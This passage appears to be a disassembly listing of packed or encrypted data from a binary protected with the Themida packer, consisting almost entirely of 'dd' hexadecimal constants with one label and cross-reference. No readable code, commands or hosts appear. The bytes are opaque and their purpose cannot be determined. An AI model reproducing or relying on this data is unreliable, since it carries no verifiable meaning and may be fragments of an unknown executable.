0F0C337C0h, 4BB9600Fh, 0DD51E086h dd 0F8A1E97Ah, 13AC2007h, 0BB21AE4Fh, 1C232FBh, 0E1AEA38Dh dd 857817FAh, 0CD9132A2h, 42EFAF2Ch, 0D5497693h, 851B9F72h dd 0DE8443B4h, 0D2AF8h, 625BDA00h, 0E2D29BD3h, 0ADE1AD21h dd 0FB7F08FCh, 0F93952D5h, 0D565EE0Fh, 76F69104h, 0CA736736h dd 39412E80h, 74811801h, 9B427FEh, 66299841h, 0FBEC31C0h dd 93E7164Ch, 6DDCF93Bh, 0E38B8B2Dh, 0A0351644h, 69CC3FEEh dd 0DF4DCA77h, 0B6EC970Ah, 0BEF04144h, 0DF80267Ah, 631E4CE1h dd 0E1F6F9DFh, 394A1E4Ch, 0F62836BCh, 481C8803h, 56D37263h dd 7D16606Ch, 0BB1D6D77h, 0CAFh, 53C9806Dh, 0F3691286h dd 9715B626h, 2CB05342h, 0C25AEFDDh, 2E9C7800h, 0C4360399h dd 6354A507h, 0FEF138A4h, 7EA0D943h, 13E9758h, 0FADE2B18h dd 0B0BF1155h, 1011B591h, 72614FC3h, 2311B593h, 4A135BEAh dd 0B5F9AD56h, 0B5914C13h, 0E26FF411h, 908E206Ch, 2E0FF93Bh dd 7B895A5h, 0CC7AC987h, 823BAF74h, 2699400Ch, 0C538019Bh dd 0B716643Ah, 8DD16A5Eh, 4B600FA1h, 93E01801h, 21E0D116h dd 0B634EAA4h, 0EB163C69h, 0B7BEF9BEh, 0DF537FB9h, 0BCBEB78h dd 0F271319Dh, 0C1120B6h, 1E8B0000h, 0B024F577h, 54449517h dd 0F1E029B3h, 8D7BCE5Eh, 0DAE264F8h, 0A507CC3Ah, 47A56254h dd 0DA4201F2h, 7BE19C0Fh, 353A9C1Eh, 8D18013Fh, 0CDC0447Ch dd 8DCD766Ah, 0B591442Bh, 0EA77FC11h, 0B707F9A0h, 0B5914E11h dd 0E461F211h, 23CA366Eh, 0AF4E14B1h, 44FFF22Bh, 0AA53471Eh dd 45AC1DF4h, 4EEFB356h, 21B79DC1h, 7CCCB91Ch, 80723B69h dd 1BB01EC3h, 7620B647h, 0D87AA470h, 6CD2Bh, 625B9900h dd 0EC259BD3h, 0A30FF93Ah, 0F47A09FAh, 91581263h, 30F9631Eh dd 725C02BDh, 18013A61h, 6628993Ch, 3C572A40h, 5F478C16h dd 7131828Dh, 5CBE1890h, 0C000000Bh, 59A03CD3h, 0F940DC65h dd 15E47809h, 0B079E3A6h, 0BD1F8D42h, 0CC816F25h, 6A178950h dd 17B627F2h, 0B6514495h, 0F52B5336h, 180140EAh, 0C00F0956h dd 247832CDh, 0B591DD82h, 19AC1B11h, 0EDA529BAh, 846B4D81h dd 3C11B591h, 1A40FDEFh, 55499E1Bh, 0F347F6ACh, 461CA71Ah dd 0A6F40947h, 0D87AA440h, 6311Bh, 1C37A900h, 7911B593h dd 69ADED5Ch, 0B591A8B7h, 24931811h, 226EE461h, 0F93BD58Ch dd 5A14610Fh dd 7652093h, 5E04BF32h, 4608B91Ch, 3C580A60h, 8D7FAC16h dd 5F5373F0h, 6E713183h, 0AB5BC1Ah, 7A670000h, 0C8049D3h dd 0B020E973h, 4DBC8D1Fh, 0E9D722BAh, 7E06B824h, 0F9632896h dd 9B01BE30h, 3EAE5D4Eh, 0DF4DF8EBh, 915E70BAh, 31180140h dd 0F855E0A0h, 51DE8212h, 5EB73B61h, 338AD06Bh, 9D6C8C0h dd 0B911B5A8h, 8AFBAF2Ch, 8B7D2C60h, 0A389A8FEh, 11B5A8BCh dd 0E97BFF04h, 4EA18CD4h, 87C384A8h, 0A6C24C15h, 48BE9E7Dh dd 4C1294C2h, 7B4DD87Bh, 1000005h, 52D86758h, 0D3625B10h dd 0AD03479Bh, 11B591C2h, 5F61F57Eh, 0FF9399Dh, 0C432F21Fh dd 27DC4DE6h, 0D6C990DAh, 7568B12Bh, 0EBD980CAh, 70FD8E7Eh dd 273CA2FAh, 761800B3h, 0BB50BE57h, 0A5D17C3Eh, 31025B07h dd 0B0165AD0h, 163C043Ah, 694F77FCh, 9471312Fh, 9E54214h dd 4AB70000h, 0DCD01983h, 8070B923h, 1D8C5DCFh, 0B927F26Ah dd 0AE368814h, 0C953F8E6h, 6BF18E00h, 0E9E2D9Eh, 0AF3DC83Bh dd 610EA0EAh, 0E1180141h, 0CDC0B090h, 0ACD7832h, 7BB8C048h dd 378EC64Ch, 0ACD11DC4h, 22ADC81Fh, 0A6B895A5h, 81836A00h dd 854AB86Dh, 0C6285931h, 40E6A717h, 96AF3DB1h, 7B9BE2C4h dd 4B8BDD8h, 370F0000h, 11B59127h, 0A6E8597Ch, 0BA4BBB62h dd 0FFC155E4h, 0FF93BE0h, 925B1360h, 630CA224h, 0DF180139h dd 0A4550996h, 48BB622Eh, 1056F3E5h, 31F864E1h, 0DC695BBEh dd 0EC290B5Fh, 0EFBB1D5Dh, 49163C5Bh, 6E241A3Ch, 41C97131h dd 92E17h, 4A01EE00h, 0EA9307D2h, 9637A772h, 31D4C316h dd 0DB705EABh, 1DF78F41h, 0B7821AAFh, 0D524B845h, 72C725E4h dd 2158C47Fh, 4218C7F9h, 5FA81801h, 32CDC079h, 6722956Ch dd 256C7AD7h, 2C885749h, 0AB3811B6h, 0D357210Ah, 94A4075Fh dd 0D8635691h, 517C6A44h, 0A027D87Bh, 0EB000001h, 2E6E7157h dd 81D211B6h, 0CDC03F0Dh, 59006C32h, 2C85D968h, 0A7560CBBh dd 8A7DD45Ah, 17D8FE32h, 0AB11B591h, 916D725Ah, 80D511B5h dd 68C59903h, 25E5EAEBh, 0D9CA1FA2h, 71C5742Ah, 733B8A03h dd 1AC5FB3Fh db 69h byte_5A9141 db 0B6h, 11h, 0A6h ; DATA XREF: Themida_:00540FECo dd 69313E90h, 449111B6h, 156D73C7h, 0A30FF17Ah, 91420C52h dd 0C717FB9Ch, 90164459h, 0C7DEC0ADh, 4DBFA416h, 0CE4BEAB0h dd 0B2A7BD98h, 0A65CCC65h, 36E5D559h, 0D7000000h, 9BD3625Bh dd 0F09DF125h, 2F5A40Fh, 0CD122347h, 11A62CDDh, 8B529EC4h dd 5346A1Bh, 95DF2E0h, 875C62E8h, 0DD17FA97h, 86603A43h dd 0D1DEBFACh, 0C0h, 32CDC0E3h, 359FCD78h, 39AD136Dh, 10B09AFAh dd 1367E46Eh, 7F4E2BBh, 3569F697h, 1886695Ch, 810E2F73h dd 0F69104DDh, 0C1865476h, 5B4E11B5h, 57763CA0h, 0DC1054E6h dd 0CEEE9B0Dh, 11B5D721h, 0F0DE54A1h, 0FFD76BAh, 0AB3EAF7Ch dd 0EC2073AEh, 1F43C098h, 10D9911Eh, 0AA7FEDA2h, 0B7CB33Ch dd 5098C032h, 32681D8Bh, 0F49C8603h, 796AE893h, 7A9A731h dd 86730000h, 188C5DCFh, 0BC2CFD6Fh, 5948910Bh, 0F5E336B6h dd 720ACC50h, 0D9F34A2h, 0AF3DCA3Ch, 42DA695Ah, 0E37904F7h dd 9D4264A6h, 25180143h, 0D2C0FCD4h, 13FBDD19h, 9B18FCCAh dd 0BFCAD01h, 0AC1FF67Ch, 22B8B11h, 4361F58Eh, 6C32CDC0h dd 1761CC00h, 0BB1FCD52h, 3EFCE3C9h, 674411B6h, 6495C974h dd 47BA93E7h, 0B82BF2BCh, 52D8590Dh, 27092BCh, 5BFC0000h dd 259BD362h, 0FF0A19Dh, 0A894CA1Bh, 72F6C0FDh, 4666CF84h dd 96B83E52h, 17FB43BDh, 2A707593h, 0DEC058BCh, 34CFC2EBh dd 210FEBEh, 37CC0000h, 11B59125h, 0A0EA5B72h, 0F93B4B0Eh dd 6A59000Fh, 7F8453A7h, 0C07B6E3Fh, 6F1A8D5Ch, 6DDCF93Bh dd 5C1F8B2Dh, 4C99163Ch, 316EB06Ah, 7B5DAD71h, 6CFh, 33A9604Dh dd 0D349F2E6h, 77F59606h, 0C9033A2h, 0A23ACF3Dh, 0EFC9820h dd 0A416E379h, 43B485E7h, 0DED11884h, 5EC0B923h, 1447778h dd 9ABECB18h, 796ACDC0h, 2BC569CAh, 0A162538Bh, 34A77E24h dd 0E676D589h, 16B124DFh, 3FCADC96h, 8795D87Bh, 27000001h dd 6C32CDC0h, 5672295h, 9FDF6EAFh, 3823925Bh, 39BD3AC5h dd 0F0A1DB17h, 52085D0Fh, 0BF4EBF6Eh, 0E1A212EBh, 13C0EE64h dd 4917FAC3h, 0A6695801h, 6FFD7180h, 0D4A20456h, 0BDF1DEBFh dd 0FAB9541Bh, 4267EC17h, 7E3EB44Fh, 52h, 0F7625B4Ch, 201046DEh dd 0CE2CD093h, 33A8A700h, 0D3F58502h, 0FF142C3h, 4EB2E87Dh dd 31781FE3h, 4F33ED9h, 6963C441h, 0E5607FDAh, 293A048Ah dd 7F17FAD6h, 0E5B4DCE1h, 0EA9D0CF5h, 37AFE96Dh, 60DEBFEBh dd 0DBh, 9B66012Ch, 0CA603ABCh, 0F8556644h, 0AC7FD4B1h dd 8ADD462Fh, 0D17C4019h, 0B023FA70h, 0AF85115h, 55482145h dd 0AA1DF4AAh, 0AF4B8D1Fh, 0E211B686h, 9A6708AEh, 0D2DB11B6h dd 0F00125DEh, 0B326FF73h, 0FBAF6050h, 0F6FFD7Ah, 972F4122h dd 8B0FC2B5h, 3D7DCCC9h, 0FE669F9Bh, 82CC190Fh, 1658EDDBh dd 41675347h, 17FE7A9Eh, 0DE54D122h, 8B0BF940h, 0A50F3E2h dd 7A1EC1EBh, 51A217FEh, 912EF2D4h, 0CB5F6AE9h, 55E8Dh dd 3AD13E00h, 0DA6357A2h, 4607F742h, 0E1A413E6h, 8B40AE7Bh dd 6D27BF11h, 8752CA7Fh, 25F46815h, 429715B4h, 5128B44Fh dd 45E8F729h, 0F581801h, 3DD2C009h, 11675AAFh, 0B591B0BFh dd 82BD1211h, 38436A33h, 51CB489Dh, 0F8E7D91Dh, 4811B5CAh dd 55B5B73Bh, 3A19F6F8h, 0EE64668Ch, 6539C437h, 0FE6E198Ch dd 31D4h, 0F8553E00h, 0B063A0ADh, 0D50C8206h, 941803E2h dd 228340B2h, 0FE7BD589h, 23DED1A8h, 7E87D57Fh, 0FDED5043h dd 0DE8FCF4Ch, 45DB5FECh, 1B0Bh, 0CDC07500h, 70626C32h dd 1911B593h, 0FBD0B895h, 15F8DF80h, 3FFA0381h, 0B5AB31CCh dd 6C32CDC0h, 7C3E8F0Eh, 0F939DD5Ah, 5E10650Fh, 29611C8Fh dd 0E744317Ch, 0E569E593h, 72620B6Bh, 11845DD1h, 0CBC23076h dd 7769307Ah, 0A61844CAh, 16445660h, 14C595DEh, 0F954E6A1h dd 35F1E99h, 8041B146h, 0C8118F03h, 0B8540ED5h, 0E00BEB8h dd 2F6FEC9Fh, 4BF7E689h, 8C095A1Eh, 48BFEAD6h, 5A160662h dd 932A68EEh, 58B66822h, 0E61C875Ch, 6EEDB59Dh, 78B0777Ch dd 42E5Eh, 4A01EE00h, 0EA9307D2h, 9637A772h, 31D4C316h dd 0DB705EABh, 1DF78F41h, 0B7821AAFh, 0D524B845h, 72C725E4h dd 2158C47Fh, 4718C7F9h, 5FA81801h, 32CDC079h, 0D16C5FAAh dd 6C1348Dh, 0FEAF8360h, 0C72B7F0Ch, 0B591FEE1h, 0B4314211h dd 5E99AC3Eh, 624CD06Bh, 0D87AA884h, 2EDFh, 625BED00h dd 52259BD3h, 0EE0FF0C3h, 9304D565h, 4066BAF4h, 17FADF9Fh dd 0C25CD223h, 0FAE1D180h, 1DA81B17h, 0BA49BA8Fh, 3A5F2E4h dd 0C0DC0000h, 956C32CDh, 0AF056722h, 399FDF6Eh, 0FF0A1C9h dd 7C40E66Fh, 78B3EADh, 0FAC32A39h, 6F3E6017h, 9899CD80h dd 2D6D7012h, 0DEBFD4B9h, 29E2h, 625BD000h, 0F1259BD3h dd 4F0FF09Dh, 657E6006h, 3B17FA97h, 6442182Dh, 3FDEBFACh dd 12Ah, 0B1CC56F3h, 0CA7E3280h, 0CDC06644h, 0EC68F016h dd 0AC1D50AFh, 0CB37901Dh, 0A26385CEh, 0F34A109Dh, 431A4005h dd 4DFCED50h, 0FB569AC0h, 34C2F00Ch, 8F46CC45h, 0BBFB611Ch dd 0CC9E4167h, 0D12211B5h, 0DA57735Dh, 630A11B5h, 845DD174h dd 23F67611h, 0AD5C4DB0h, 0B3FB78F9h, 0C357FCEAh, 0DD6CA98Bh dd 0E4673B9Dh, 0E63A0FF0h, 0FAFC1FC0h, 0DC52A317h, 8340B27Bh dd 87655122h, 0A5221BC8h, 1DAC6947h, 0E3C5195Dh, 17FAFEFCh dd 0E5963F44h, 401A1B83h, 546C72F8h, 5164261h, 7C00EFC1h dd 33401E42h, 0A00618BFh, 1E427BBFh, 0F8A22201h, 9E05F9EFh dd 0D786C855h, 0B42600E9h, 0E0B310FAh, 53972B63h, 4211727Dh dd 9785CE1Eh, 1E4211C8h, 0DF802678h, 631E4211h, 8F019512h dd 9F874CBAh, 712D27DDh, 6C4E0880h, 30000002h, 49900CC3h dd 0E930AC55h, 5D448F9h, 0A069F396h, 4D0F9D32h, 0DC715F35h dd 7A07F940h, 0E7A617E2h, 8641B485h, 853B6326h, 180148DAh dd 0C03F1966h, 397D3DD2h, 0B591D887h, 971B6811h, 2BD30F9h dd 625BA49Ah, 0F1259BD3h, 4F0FF09Dh, 657E6006h, 3B17FA97h dd 0A148182Dh, 581E942Dh, 0DEBFAC4Eh, 0A2655405h, 0B9F97DFCh dd 0BFh, 32CDC00Bh, 6227956Ch, 0BDB99428h, 0B0EB7383h dd 654C1339h, 0B91F11B6h, 11B665B6h, 515AF90Ah, 79F8AE63h dd 9B427FCh, 0C783CD85h, 0F11B673h, 0AE7BE19Ch, 27E8D83Bh dd 17B684DAh, 603294A6h, 0D60FF17Dh, 7E24E5D5h, 84EA72FFh dd 0D8FEB001h, 16433387h, 0ACE0AA3Bh, 0F77B0EFDh, 0F0D6B01Eh dd 1E4347EFh, 1E6B2653h, 40606E61h, 13E646C3h, 3CC6E0A5h dd 51712DADh, 181FFD9h, 0AE1B0000h, 40B485E7h, 0E4D42587h dd 8170B923h, 1D8B5ECEh, 4A52F468h, 35B75C4Ah, 0D755F2E4h dd 6AF29102h, 0B912C9Fh, 0C5AA0C8Eh, 7D180149h, 8455D4ECh dd 26FF7314h, 0AE574BB8h, 7B6EBB21h, 0C0665CC0h, 956C32CDh dd 6D76722h, 0C02EF398h, 0C009870Bh, 0E6C32CDh, 5A7C3E8Fh dd 0FF0B538h, 0B63175FEh, 0F9EC273Eh, 5A9EDE4Eh, 0FAAF7B64h dd 69BEC717h, 1143D77Ah, 537505B4h, 1635C5EBh, 835A0055h dd 2B317510h, 2FEEB0B5h, 0CD71DC9Eh, 432C0347h, 0AA0C70C6h dd 1C7AE924h, 6D3499Ah, 0DBB2E893h, 4A135BEAh, 7129AD56h dd 0D9052076h, 3DB53783h, 4459CB4Fh, 0C0331689h, 9ED06105h dd 84C43738h, 0FD7A8B24h, 3584016Fh, 0E83F4365h, 48F922BFh dd 2BF3561Dh, 267CF91Ch, 0BF95C4Fh, 59112046h, 0C9DE7867h dd 3EBBC82Ah, 0E0E57F68h, 4D631FBEh, 2AC9DEA2h dd 0D7D9011Ch, 18BB20E1h, 0AA0C4ECBh, 2904BC68h, 492785CEh dd 79BDFD4Ch, 333D3DCCh, 0F67C3CA6h, 52E557E8h, 0D09AEB2Fh dd 0E5353A9Ch, 788D375Ah, 0D0C39AF2h, 6F62B735h, 0F1C08ED4h dd 48F50382h, 0E5D8132Ah, 8477C25Ah, 0F4E8B1F9h, 90E6174Bh dd 0DF726138h, 7A655B9Fh, 2D7D4598h, 4598E48Bh, 0AC175C7Dh dd 22FBD327h, 0F64F13B0h, 471E4407h, 43F2A855h, 66F90C1Ch dd 0D51015AFh, 74C527E2h, 36A0C681h, 3, 0C0716F18h, 8F663CD3h dd 643D611Ch, 378ED473h, 8B6238C5h, 5B32681Dh, 2B82D86Dh dd 0FC5509BCh, 4E277B0Ch, 76FDA15Ah, 81E18951h, 4C1h, 4E98100h dd 87000000h, 895C240Ch, 0A368242Ch, 8900005Dh, 0DC682414h dd 89000016h, 68572404h, 62373AD9h, 0C781475Fh, 0A4146E19h dd 545F5A57h, 8324048Bh, 0EC8104C4h, 4, 8F241489h, 34FF0840h dd 0C4815824h, 4, 5024148Bh, 405E089h, 5000000h, 4, 5C240487h dd 0F9C2ECE9h, 574043FFh, 8E82BEC3h, 0B88592FDh, 64BBA81h dd 0E0FFC503h, 0CEBEC74h, 36FFF9ECh, 7BABBEC3h, 355C5FFDh dd 42A66575h, 26C1126Ah, 78429BACh, 6038CB76h, 5738D209h dd 46EE2793h, 6CDA485Ah, 6A119790h, 2A5BAC45h, 124ED43Ch dd 7B8E8BE6h, 50A45E75h, 7D65D25h, 47E57BF3h, 4A75291Bh dd 23B74FE5h, 1BB004EBh, 2AE91C12h, 9C000005h, 3504982Fh dd 55A438C1h, 0F138A465h, 0CDD4F02h, 0D173E99Eh, 28DDCBC9h dd 0D67365B4h, 73128356h, 12AD20E9h, 298F0F8Ah, 18014C46h dd 0C0AB6DFAh, 462916CDh, 8FE035A7h, 17855C02h, 0AC1FEA72h dd 0F7AB5649h, 9E33A146h, 0F6AC29C8h, 51F4E38Ah, 0F69104DDh dd 5CE5D9B0h, 0F7F8DE12h, 4B11B5B6h, 915E703Ah, 3111B5B6h dd 9F762EA4h, 71C89E2Fh, 4398CE83h, 97399CA1h, 0E813C41h dd 68977657h, 16CBFCE1h, 399E6A5h, 0A606C536h, 486E6253h dd 11B5F9A7h, 6F24921Bh, 30BD3A3Bh, 6C2B066Ah, 72F6218h dd 62548D01h, 8EC681A5h, 0BC4BBC77h, 5BE6D920h, 0AA594A13h dd 99F145F4h, 0B5F41B37h, 55F0E311h, 8748B811h, 0E89B0AE3h dd 0CF2D83B2h, 1A5623B6h, 94F5703h, 5508D87Bh, 0BA000000h dd 6C32CDC0h, 0B5936F62h, 3E471111h, 7AA88A1Ch, 6D5D8h dd 0D0990000h, 98AA20DFh, 0D939F855h, 0C46D188Bh, 29AD06C7h dd 1F43FCF0h, 0F15246h, 0B692E041h, 0F18BF74Eh, 68572E74h dd 55B81A5h, 28D1C500h, 0D77265B4h, 54481155h, 0A146F7ABh dd 2E1C922Fh, 7D3DD2C0h, 0D88E39ACh, 24FDD559h, 0F05317B0h dd 40FDEFBEh, 8A4558CAh, 2BB2F1Ch, 0DFD22785h, 37A77E24h dd 8779D096h, 0DDCDA4FAh, 9B95762Ch, 0F3FCD282h, 4F11B591h dd 54F4B906h, 0E9CF0351h, 11B59106h, 0F3A529BAh, 0D87AA2E3h dd 5CBCh, 84550E00h, 1307611h, 0A166548Dh, 13B424FDh, 4E57854Fh dd 0FC602593h, 6352BF2Dh, 0FE7BFAA0h, 4BFEEDBCh, 3890E617h dd 8BDF7261h, 0F19FA6A2h, 540AB528h, 6F6751A5h, 28D87AA2h dd 4Dh, 3DD2C09Ah, 601F9069h, 0D099E13Ah, 64842DE2h, 0A5C8B4D0h dd 0A1A426ACh, 49D37866h, 6BCCC06Bh, 9998CE77h, 4A18461Ch dd 9211B593h, 673E641Fh, 0AD91D578h, 0B591640Bh, 0D097DC11h dd 0DDAA2D30h, 0C6207A83h, 91D87AA8h, 1, 67D0C023h, 757D479h dd 2FA36856h, 902B9E77h, 41859DCAh, 0B591806Fh, 3FB3C011h dd 6D5D98ADh, 0D8CB92DCh, 2DA0792Dh, 0F811592h, 85D564A1h dd 0C4AB0D41h, 7C11B591h, 0C332F7h, 0A276A48Ah, 7EC00FF0h dd 0AD8F3EAFh, 17FAC2C2h, 3268F57Eh, 8E3563CEh, 81A56857h dd 9672D770h, 980BC248h, 37AA7FEDh, 0A421E6D4h, 5B01D0FEh dd 614917FBh, 41068FC4h, 79FD3203h, 0A417D2EBh, 7A238319h dd 92A3C78Ch, 37D2C51Ch, 9C279A73h, 0D2EB65C6h, 8319A417h dd 0FC877A23h, 550397A6h, 0DEBFFF51h, 13F0Ah, 625BB800h dd 0D5259BD3h, 630FF0B4h, 2F54C12h, 0B83AAF1Fh, 0AA2C7C26h dd 4EDE5BD8h, 7050BF6Eh, 0FB6D915Eh, 27A43117h, 0A57CF203h dd 7AD39732h, 0CFA6FC87h, 0A37A20DDh, 0F4CF9332h, 13CE5154h dd 0CEC1FC01h, 0E7FFA933h, 0BCDEC084h, 72CA7C91h, 5E10DC00h dd 0FAA27778h, 34BACB17h, 4844h, 6E5B7600h, 8E2187D7h dd 0D911B591h, 62A9AE6Ch, 0A3128D7Ah, 48EF63E0h, 7679673Bh dd 0FA11B68Ch, 89E489A4h, 54875C2Ah, 65394CDEh, 14515ACh dd 0FD6EDB24h, 2CF10917h, 0B9870BBCh, 11B60E06h, 99B329BAh dd 98h, 0D3625BFBh, 2596479Bh, 90CE1066h, 2E0FF09Ah, 0B52881A5h dd 5447920Ah, 0F9EBF5A9h, 0BF17FA99h, 0AD3AAA73h, 1C0034CAh dd 0DF53D090h, 0AFD384Dh, 687ED7Fh, 6FC1E7B7h, 0D5163F4Ch dd 0BB96DA80h, 20FAB634h, 0BD2BF066h, 584B8208h, 0A8CEF9ADh dd 1BBD1181h, 1E476C54h, 0C51A67ECh, 0C27337D2h, 99C7DE4Ch dd 0A82EE1D0h, 2862D3EAh, 67B2D57Dh, 0B368C974h, 8D527499h dd 351E4780h, 0B56B23A0h, 1E4780AAh, 549CD16h, 0E7A818C1h dd 123CB243h, 1C8B459Eh, 174DDF24h, 9BD3625Bh, 0F9568B25h dd 9C0BD20Fh, 81D265E9h, 0F69104DDh, 9F8689A4h, 5D54874Ch dd 0B66747D9h, 88574947h, 38180099h, 0F9782EABh, 9E299C75h dd 7EEA86C8h, 755023Ah, 188756FEh, 8A003175h, 47A56053h dd 0FF9BCA67h, 0ECABC71h, 0BABBEF9Ch, 945B7D3Dh, 2C325A4Fh dd 7FA53A7h, 604F267Ch, 0A8CEF9ADh, 4FADB214h, 0C015325Ah dd 0AC5D84Ah, 0A970EC97h, 81D78B36h, 11h, 4CFBECBDh, 0B0BEE716h dd 0CB7D7CBBh, 6FC1E377h, 3CD3C071h, 611C8F66h, 0D473643Dh dd 38C5378Eh, 681D8B62h, 0D86D5B32h, 9BC2B82h, 7B0CFC55h dd 0A15A4E27h, 895176FDh, 4C181E1h, 83000000h, 0C8704E9h dd 3C895C24h, 21CC6824h, 2C890000h, 32C46824h, 3C890000h dd 21B85024h, 482EF444h, 0D40D8F7h, 66D27D3Fh, 0AD17492Dh dd 0D2A60562h, 5D50711Ch, 3C8B5458h, 4C48124h, 68000000h dd 463Dh, 89241489h, 85789EAh, 2434FF5Ah, 4C4835Fh, 50242C8Bh dd 405E089h, 5000000h, 4, 5C240487h, 0F9BD60E9h, 47A0DDFFh dd 3252A9E9h, 55A05B79h, 0C003B883h, 0C503064Bh, 24DBE0FFh dd 2AC00ED4h, 38417BA7h, 0BFE3112Ch, 8F8D2083h, 85C643FCh dd 6451829h, 30DF6856h, 0B5FFA9C5h, 64509D5h, 78B6858Dh dd 0D0FF0648h, 20158D8Dh, 6A510645h, 25B5FF40h, 0FF064520h dd 4532DDB5h, 0FFD0FF06h, 452025B5h, 0DDB5FF06h, 0E8064532h dd 8, 7081F4E7h, 0E04FDCB6h, 0E8835858h, 242CC104h, 2424C102h dd 24040302h, 0BB241CF7h, 0 dd 590334FFh, 3175F181h, 0E981575Bh, 6D3F68Eh, 0CDEEC181h dd 0C8978EBh, 1EB8318h, 3B4B4B4Bh, 850F241Ch, 15h, 23E9h dd 7631F300h, 8B5A34C4h, 2E674419h, 0C2A7E0A5h, 0FFBEE904h dd 0B86AFFFFh, 26EFA0B5h, 20E74FB9h, 0AC1AFCDFh, 0B3D9D8Dh dd 38B0645h, 840FC00Bh, 7, 5B8B038Bh, 8B188904h, 9E8C9h dd 94A00000h, 559A1E7Dh, 5F91BBB5h, 62F2C781h, 0BE660000h dd 0C02B2859h, 2EEE8166h, 3834FFAFh, 13E9h, 8C190300h dd 7B462C1Bh, 7A44F6A3h, 24341E4Fh, 0C08DFCCh, 5E95Bh dd 4D710000h, 81E8E707h, 0D99089C3h, 8B666074h, 0C2B70FF3h dd 0E7C38161h, 8B0D22D3h, 0AF381D7h, 603CB284h, 8A06D081h dd 53611A3Eh, 8F58D580h, 0BA660704h, 38BE1484h, 83634A5Bh dd 816604E8h, 813864F1h, 0FF9D98F8h, 92850FFFh, 66FFFFFFh dd 78BC181h, 5E8h, 0B4F4AC00h, 0F50DAC5h, 88h, 665E5900h dd 81CA54BFh, 6CADC6h, 0EE800h, 446C0000h, 70DD7B08h, 0D3405F32h dd 0D17753DBh, 14E9h, 4CC85500h, 4920E171h, 0F4917A8Eh dd 0A7853A9Bh, 6D9920D1h, 0DB33596Bh, 10E8h, 898CE700h dd 77C18D2Bh, 0F8AA31FFh, 0D19653CCh, 0D88166A1h, 8B5FC6B9h dd 0C78A1E14h, 46DEF281h, 81662D83h, 815F44E9h, 103C2FF2h dd 42D98147h, 8172EFDDh, 0F7C8AEF2h, 8F52FC68h, 0F98B1E04h dd 0DE8h, 0EE9D200h, 33C10E4h, 927DC0C7h, 860F5E05h, 19h dd 14E9h, 0AED16D00h, 61D49B9Eh, 181D6DE3h, 32EA9240h dd 6A285161h, 0EB835961h, 0DE802h, 86490000h, 7C8344C5h dd 51D0956Fh, 0FEC3169h, 68Fh, 870F00h, 58000000h, 81FC4B4Bh dd 0FF9440FBh, 74850FFFh, 80FFFFFFh, 8D8D88C1h, 64BC3B0h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 9C35040h dd 8166B915h, 897737EFh, 452A018Dh, 80B86606h, 0D585C783h dd 24064503h, 66000070h, 0C78C7EBBh, 45095D85h, 6, 559D8900h dd 0FF064505h, 451281B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 4840F73h, 66000000h dd 0F77A9BAh, 8B66F8BFh, 1195FFDEh, 6A06452Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 855EC350h, 0A877E4C3h, 0BD8B4292h, 6453365h, 95FF006Ah dd 6453121h, 49EBC08Bh, 0E15118h, 6606665Dh, 5D4F0FB9h dd 3A3627ABh, 70E89D12h, 0EDA701D7h, 86672CAAh, 0EBC944DBh dd 2A2F9A38h, 6D934A07h, 68A25CCDh, 3D3CEABCh, 1EC6281Dh dd 23B46A6Dh, 0A43B69CBh, 0DF733714h, 806051E9h, 0A50460F5h dd 8EBDEh, 0BE000000h, 0E94B7B25h, 4EBh, 4BC53B68h, 0B9C3E906h dd 0AF68FFF9h, 0E9064BC5h, 0FFF9B9B9h, 4BC74768h, 0B9AFE906h dd 0FEEBFFF9h, 9004D557h, 34A475F7h, 0D1C00993h, 6D5BAE3Eh dd 0FA8244D8h, 85E7AC1Ah, 278542B4h, 0BA22E1D2h, 5BC17C6Fh dd 15DAFC3Eh, 0AD180155h, 0D2C0645Ch, 96D07D3Dh, 0BE624A2Dh dd 0C1BE0B36h, 3CB9C3C7h, 0CB92DEB6h, 0C17E70DDh, 0A417CE44h dd 0E82D8319h, 0EBBF1159h, 4D0FF0D7h, 677C6238h, 0AD17FAD1h dd 7FD68C3Dh, 0CFA6FC91h, 0FB7A20DDh, 5B091C2Ch, 0FACF7A65h dd 30BDC617h, 6216337Bh, 0B9579EA1h, 174BF6E9h, 0A03899E6h dd 5BDE508Fh, 9BA220B6h, 0C071E7FFh, 2F9B0DEh, 387C0000h dd 0FB4ED986h, 0E07B6B17h, 8754AD5Dh, 6143D71Ch, 0D4F1887Ah dd 7F3D565h, 0B10FF08Ah, 53436A24h, 9173CB2h, 1B1614D1h dd 50E9DD8Ch, 8C3D98DAh, 18AD1BC2h, 733FB342h, 9B18115Dh dd 26AF13h, 81E6113Ch, 98D72C1Ch, 0D465A012h, 2A34249Ah dd 458E19E0h, 0D6716435h, 0FCD21656h, 21EA4CF3h, 59B0064Fh dd 63FBDB66h, 8A74D53Ch, 314587Eh, 0EFB0000h, 0A014E547h dd 44B485E7h, 0E1D01983h, 7D6BBE2Eh, 0EAF254C8h, 9517BC2Ah dd 37B55244h, 0CA52F1E2h, 6BF18C7Fh, 25CAEC2Eh, 9D180156h dd 625B744Ch, 35691C8Bh, 0B3F78704h, 9348FBEAh, 0C3ED6124h dd 0FF95F10h, 9E69E643h, 0B819AC1Bh, 8E040B70h, 0CB92DC29h dd 65B428DDh, 0C28CD277h, 18010C12h, 9000E3D6h, 0E05072FFh dd 0ED6AEBF9h, 2A03B9Dh, 826F0000h, 148851CBh, 0B828F16Bh dd 55449517h, 0F1DF2AB2h, 760EC05Ch, 19B309Eh, 0A339C638h dd 46A66556h, 0E74500F3h, 994678A2h, 29180156h, 8455F8D8h dd 0C2D7116h, 0EA3CE4ABh, 69ED4F03h, 6B23922Bh, 6B7FA53Eh dd 8F038B31h, 58F6EDC3h, 80A90FFAh, 0A2B7F10h, 0FCA23384h dd 25001D2h, 0B4C95718h, 0C76100E6h, 1A55BDEh, 0C0690000h dd 956C32CDh, 6B74AA22h, 0D511B591h, 53D81022h, 499A396Dh dd 0BB1250CCh, 146E400Ah, 0A20FF17Dh, 90430D51h, 5617FB9Fh dd 2881A566h, 175016B9h, 55C8DDh, 495DFD00h, 12DEC0B0h dd 3Dh, 0D3625BA0h, 2496479Bh, 0BC32C367h, 0F09E8492h dd 0E1A93A0Fh, 96640BADh, 97DC17FAh, 4E054B03h, 9417FA98h dd 6AC36720h, 0CA99CD76h, 0FBB0233Ah, 0A402586Dh, 0FFDEBFADh dd 0ECh, 32CDC0CDh, 1DCC006Ch, 313E1EABh, 